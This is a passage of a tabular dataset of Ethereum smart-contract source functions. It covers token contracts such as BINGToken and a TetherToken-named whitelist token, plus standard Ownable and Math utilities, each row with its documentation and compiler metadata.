contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
BINGToken
BINGToken.sol
0xee91e81927bb047ea0f4b24e43dd5dc0684827a0
Solidity
BINGToken
contract BINGToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18); /** * Address of the owner of this smart contract. */ address pri...
/** * BING token token smart contract. */
NatSpecMultiLine
setOwner
function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; }
/** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://4f0a6d96aab77b4a87f550d488ef1a7c3517dd18027bfddc4b5c849596912b04
{ "func_code_index": [ 4160, 4268 ] }
19,800
BINGToken
BINGToken.sol
0xee91e81927bb047ea0f4b24e43dd5dc0684827a0
Solidity
BINGToken
contract BINGToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18); /** * Address of the owner of this smart contract. */ address pri...
/** * BING token token smart contract. */
NatSpecMultiLine
freezeTransfers
function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } }
/** * Freeze ALL token transfers. * May only be called by smart contract owner. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://4f0a6d96aab77b4a87f550d488ef1a7c3517dd18027bfddc4b5c849596912b04
{ "func_code_index": [ 4369, 4516 ] }
19,801
BINGToken
BINGToken.sol
0xee91e81927bb047ea0f4b24e43dd5dc0684827a0
Solidity
BINGToken
contract BINGToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18); /** * Address of the owner of this smart contract. */ address pri...
/** * BING token token smart contract. */
NatSpecMultiLine
unfreezeTransfers
function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } }
/** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://4f0a6d96aab77b4a87f550d488ef1a7c3517dd18027bfddc4b5c849596912b04
{ "func_code_index": [ 4619, 4770 ] }
19,802
BINGToken
BINGToken.sol
0xee91e81927bb047ea0f4b24e43dd5dc0684827a0
Solidity
BINGToken
contract BINGToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18); /** * Address of the owner of this smart contract. */ address pri...
/** * BING token token smart contract. */
NatSpecMultiLine
refundTokens
function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); }
/*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no ...
Comment
v0.4.24+commit.e67f0147
bzzr://4f0a6d96aab77b4a87f550d488ef1a7c3517dd18027bfddc4b5c849596912b04
{ "func_code_index": [ 5189, 5481 ] }
19,803
BINGToken
BINGToken.sol
0xee91e81927bb047ea0f4b24e43dd5dc0684827a0
Solidity
BINGToken
contract BINGToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18); /** * Address of the owner of this smart contract. */ address pri...
/** * BING token token smart contract. */
NatSpecMultiLine
freezeAccount
function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze);
/** * Freeze specific account * May only be called by smart contract owner. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://4f0a6d96aab77b4a87f550d488ef1a7c3517dd18027bfddc4b5c849596912b04
{ "func_code_index": [ 5580, 5798 ] }
19,804
WhatSwapV1factory
/contracts/lib/access/Ownable.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Ownable
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * ...
NatSpecMultiLine
owner
function owner() public view virtual returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.8.2+commit.661d1103
{ "func_code_index": [ 393, 482 ] }
19,805
WhatSwapV1factory
/contracts/lib/access/Ownable.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Ownable
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * ...
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.8.2+commit.661d1103
{ "func_code_index": [ 1025, 1130 ] }
19,806
WhatSwapV1factory
/contracts/lib/access/Ownable.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Ownable
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * ...
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.8.2+commit.661d1103
{ "func_code_index": [ 1275, 1477 ] }
19,807
WhatSwapV1factory
/contracts/lib/access/Ownable.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Ownable
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * ...
NatSpecMultiLine
_transferOwnership
function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */
NatSpecMultiLine
v0.8.2+commit.661d1103
{ "func_code_index": [ 1627, 1818 ] }
19,808
WhatSwapV1factory
/contracts/lib/utils/math/Math.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Math
library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uin...
/** * @dev Standard math utilities missing in the Solidity language. */
NatSpecMultiLine
max
function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; }
/** * @dev Returns the largest of two numbers. */
NatSpecMultiLine
v0.8.2+commit.661d1103
{ "func_code_index": [ 79, 188 ] }
19,809
WhatSwapV1factory
/contracts/lib/utils/math/Math.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Math
library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uin...
/** * @dev Standard math utilities missing in the Solidity language. */
NatSpecMultiLine
min
function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; }
/** * @dev Returns the smallest of two numbers. */
NatSpecMultiLine
v0.8.2+commit.661d1103
{ "func_code_index": [ 255, 363 ] }
19,810
WhatSwapV1factory
/contracts/lib/utils/math/Math.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Math
library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uin...
/** * @dev Standard math utilities missing in the Solidity language. */
NatSpecMultiLine
average
function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; }
/** * @dev Returns the average of two numbers. The result is rounded towards * zero. */
NatSpecMultiLine
v0.8.2+commit.661d1103
{ "func_code_index": [ 472, 629 ] }
19,811
WhatSwapV1factory
/contracts/lib/utils/math/Math.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Math
library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uin...
/** * @dev Standard math utilities missing in the Solidity language. */
NatSpecMultiLine
ceilDiv
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); }
/** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */
NatSpecMultiLine
v0.8.2+commit.661d1103
{ "func_code_index": [ 824, 1022 ] }
19,812
WhatSwapV1factory
/contracts/lib/utils/math/Math.sol
0x515a37db7fd71b7e886bda07cdfb7bf2a3302da3
Solidity
Math
library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uin...
/** * @dev Standard math utilities missing in the Solidity language. */
NatSpecMultiLine
sqrt
function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } }
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
LineComment
v0.8.2+commit.661d1103
{ "func_code_index": [ 1133, 1429 ] }
19,813
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) pub...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); T...
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 268, 659 ] }
19,814
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) pub...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 865, 977 ] }
19,815
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_...
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 401, 853 ] }
19,816
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * ...
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 1485, 1675 ] }
19,817
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 1999, 2130 ] }
19,818
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 2375, 2639 ] }
19,819
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; }...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
Ownable
function Ownable() public { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 261, 321 ] }
19,820
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; }...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 644, 820 ] }
19,821
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Pausable
contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function ...
/** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */
NatSpecMultiLine
pause
function pause() onlyOwner whenNotPaused public { paused = true; Pause(); }
/** * @dev called by the owner to pause, triggers stopped state */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 513, 604 ] }
19,822
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Pausable
contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function ...
/** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */
NatSpecMultiLine
unpause
function unpause() onlyOwner whenPaused public { paused = false; Unpause(); }
/** * @dev called by the owner to unpause, returns to normal state */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 688, 781 ] }
19,823
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Whitelist
contract Whitelist is Ownable { bool public listActive = true; // Only users who are on the whitelist function isRegistered(address _user) public constant returns (bool) { if (!listActive) { return true; } else { return isOnList[_user]; } } // Only authorised sources/co...
/// @title Whitelist contract - Only addresses which are registered as part of the market maker loyalty scheme can be whitelisted to earn and own Nectar tokens
NatSpecSingleLine
isRegistered
function isRegistered(address _user) public constant returns (bool) { if (!listActive) { return true; } else { return isOnList[_user]; } }
// Only users who are on the whitelist
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 113, 286 ] }
19,824
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Whitelist
contract Whitelist is Ownable { bool public listActive = true; // Only users who are on the whitelist function isRegistered(address _user) public constant returns (bool) { if (!listActive) { return true; } else { return isOnList[_user]; } } // Only authorised sources/co...
/// @title Whitelist contract - Only addresses which are registered as part of the market maker loyalty scheme can be whitelisted to earn and own Nectar tokens
NatSpecSingleLine
register
function register(address[] newUsers) public onlyOwner { for (uint i = 0; i < newUsers.length; i++) { isOnList[newUsers[i]] = true; } }
/// @dev register /// @param newUsers - Array of users to add to the whitelist
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 880, 1038 ] }
19,825
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Whitelist
contract Whitelist is Ownable { bool public listActive = true; // Only users who are on the whitelist function isRegistered(address _user) public constant returns (bool) { if (!listActive) { return true; } else { return isOnList[_user]; } } // Only authorised sources/co...
/// @title Whitelist contract - Only addresses which are registered as part of the market maker loyalty scheme can be whitelisted to earn and own Nectar tokens
NatSpecSingleLine
deregister
function deregister(address[] bannedUsers) public onlyOwner { for (uint i = 0; i < bannedUsers.length; i++) { isOnList[bannedUsers[i]] = false; } }
/// @dev deregister /// @param bannedUsers - Array of users to remove from the whitelist
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 1136, 1306 ] }
19,826
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Whitelist
contract Whitelist is Ownable { bool public listActive = true; // Only users who are on the whitelist function isRegistered(address _user) public constant returns (bool) { if (!listActive) { return true; } else { return isOnList[_user]; } } // Only authorised sources/co...
/// @title Whitelist contract - Only addresses which are registered as part of the market maker loyalty scheme can be whitelisted to earn and own Nectar tokens
NatSpecSingleLine
authoriseMaker
function authoriseMaker(address maker) public onlyOwner { isAuthorisedMaker[maker] = true; // Also add any authorised Maker to the whitelist address[] memory makers = new address[](1); makers[0] = maker; register(makers); }
/// @dev authoriseMaker /// @param maker - Source to add to authorised contributors
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 1399, 1663 ] }
19,827
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Whitelist
contract Whitelist is Ownable { bool public listActive = true; // Only users who are on the whitelist function isRegistered(address _user) public constant returns (bool) { if (!listActive) { return true; } else { return isOnList[_user]; } } // Only authorised sources/co...
/// @title Whitelist contract - Only addresses which are registered as part of the market maker loyalty scheme can be whitelisted to earn and own Nectar tokens
NatSpecSingleLine
deauthoriseMaker
function deauthoriseMaker(address maker) public onlyOwner { isAuthorisedMaker[maker] = false; }
/// @dev deauthoriseMaker /// @param maker - Source to remove from authorised contributors
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 1763, 1871 ] }
19,828
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
Whitelist
contract Whitelist is Ownable { bool public listActive = true; // Only users who are on the whitelist function isRegistered(address _user) public constant returns (bool) { if (!listActive) { return true; } else { return isOnList[_user]; } } // Only authorised sources/co...
/// @title Whitelist contract - Only addresses which are registered as part of the market maker loyalty scheme can be whitelisted to earn and own Nectar tokens
NatSpecSingleLine
getRegistrationStatus
function getRegistrationStatus(address _user) constant external returns (bool) { return isOnList[_user]; }
/////// Getters to allow the same whitelist to be used also by other contracts (including upgraded Controllers) ///////
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 2104, 2221 ] }
19,829
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
TetherToken
function TetherToken(uint _initialSupply, string _name, string _symbol, uint8 _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; }
// The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 435, 737 ] }
19,830
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
transfer
function transfer(address _to, uint _value) public whenNotPaused returns (bool) { require(isRegistered(msg.sender)); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } }
// Forward ERC20 methods to upgraded contract if this one is deprecated
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 817, 1161 ] }
19,831
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
transferFrom
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { require(isRegistered(_from)); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_fr...
// Forward ERC20 methods to upgraded contract if this one is deprecated
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 1241, 1621 ] }
19,832
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
balanceOf
function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } }
// Forward ERC20 methods to upgraded contract if this one is deprecated
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 1701, 1950 ] }
19,833
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
oldBalanceOf
function oldBalanceOf(address who) public constant returns (uint) { if (deprecated) { return super.balanceOf(who); } }
// Allow checks of balance at time of deprecation
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 2008, 2167 ] }
19,834
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
